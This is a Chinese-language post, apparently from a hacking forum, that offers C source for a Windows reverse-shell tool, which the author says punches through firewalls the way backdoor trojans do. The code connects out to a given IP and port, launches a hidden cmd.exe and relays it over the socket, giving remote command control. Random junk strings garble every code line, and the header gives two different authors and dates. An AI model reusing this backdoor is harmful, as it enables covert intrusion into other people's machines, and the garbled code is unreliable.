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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |F8;+nAVF#  
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/* ============================== {[H4G,QK  
Rebound port in Windows NT ~x76{.gT  
By wind,2006/7 #J'Z5)i|  
===============================*/ hCSR sk3  
#include W ??;4  
#include 2{ jtQlc  
*8pe<:A#p  
#pragma comment(lib,"wsock32.lib") =k[(rvU3  
]Hv*^Bak  
void OutputShell(); (UbR%A|v;  
SOCKET sClient; Q-H =wJ4R  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ./aZV  
^F;Z%5P=  
void main(int argc,char **argv) tF{{cd  
{ D>!v_v6  
WSADATA stWsaData; Q#d+IIR0gK  
int nRet; ZlwcwoPib  
SOCKADDR_IN stSaiClient,stSaiServer; z|oA{VxW>  
<yX@@8  
if(argc != 3) h$:&1jVY{  
{ /It.>1~2@  
printf("Useage:\n\rRebound DestIP DestPort\n"); FE^?U%:u@  
return; D0,oml  
} [rD+8,zVm  
kM6 EZ`mj  
WSAStartup(MAKEWORD(2,2),&stWsaData); @k#z &@b  
H >@JfYZ0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "!w[U{  
:7 s#5b  
stSaiClient.sin_family = AF_INET; * wQZ '  
stSaiClient.sin_port = htons(0); \&l*e  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xKkVSEup  
6c;?`C  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'T #<OR  
{ (STWAwK-  
printf("Bind Socket Failed!\n"); g&5pfrC [  
return; p~k`Z^ xY$  
} hx2!YNx !  
reD[j,i&t.  
stSaiServer.sin_family = AF_INET; &?uzJx~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \?p9qR;"4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oeRYyJ  
b ?=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2={K-s20  
{ q%)*,I<  
printf("Connect Error!"); =~(LJPo6  
return; ;]8p:ME  
} H/ B^N,oi  
OutputShell(); CC]@`R5  
} "pKGUM  
"' i [~  
void OutputShell() ,vHX>)M|  
{ yA`]%U((  
char szBuff[1024]; tjc5>T[Es8  
SECURITY_ATTRIBUTES stSecurityAttributes; 0B!mEg  
OSVERSIONINFO stOsversionInfo; SFm.<^6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q>Ar.5&M_  
STARTUPINFO stStartupInfo; `G:qtHn"Q<  
char *szShell; ix_$Ok  
PROCESS_INFORMATION stProcessInformation; LRLhS<9  
unsigned long lBytesRead; ?!Th-Cc&m  
B'[3kJ'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &_Xv:?  
 nd*!`P  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3GuMiht5  
stSecurityAttributes.lpSecurityDescriptor = 0; ~[bMfkc3  
stSecurityAttributes.bInheritHandle = TRUE; !x!L&p  
_dRn0<#1(k  
 Lqf#,J  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 85d7IB{28  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pCud` :o"  
QKuc21  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N]P*6sf-6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [^"(%{H  
stStartupInfo.wShowWindow = SW_HIDE; D%";!7u  
stStartupInfo.hStdInput = hReadPipe; 1.cUol nr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 75BOiX  
Fr Q-v]c  
GetVersionEx(&stOsversionInfo); D9pxe qf+=  
w7]p9B  
switch(stOsversionInfo.dwPlatformId) [.yx2@W  
{ PrYWha=c-  
case 1: @"#gO:|[i0  
szShell = "command.com"; Wb-'E%K  
break; '~vSH9nx/  
default: 1:~m)"?I_^  
szShell = "cmd.exe"; p<^/T,&I  
break; 1(\I9L&J   
} MCO$>QL  
:_b =Km<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t$kf'An}/  
xhoLQD  
send(sClient,szMsg,77,0); H2t pP~!G  
while(1) c Dh4@V  
{ 5)zj){wL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H1c|b !C  
if(lBytesRead) H9a3 rA>  
{ WFc[F`b  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '\vmfp =  
send(sClient,szBuff,lBytesRead,0); eVNBhR}HS  
} t1_y1!u Q  
else 7^ Q$pT>  
{ ;@;ie8H  
lBytesRead=recv(sClient,szBuff,1024,0); *Uw#  
if(lBytesRead<=0) break; H_nOE(i<z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sp]y!zb"5  
} %X-&yGY  
} SoON@h/  
yl;$#aZB  
return; mjr{L{H=?+  
}
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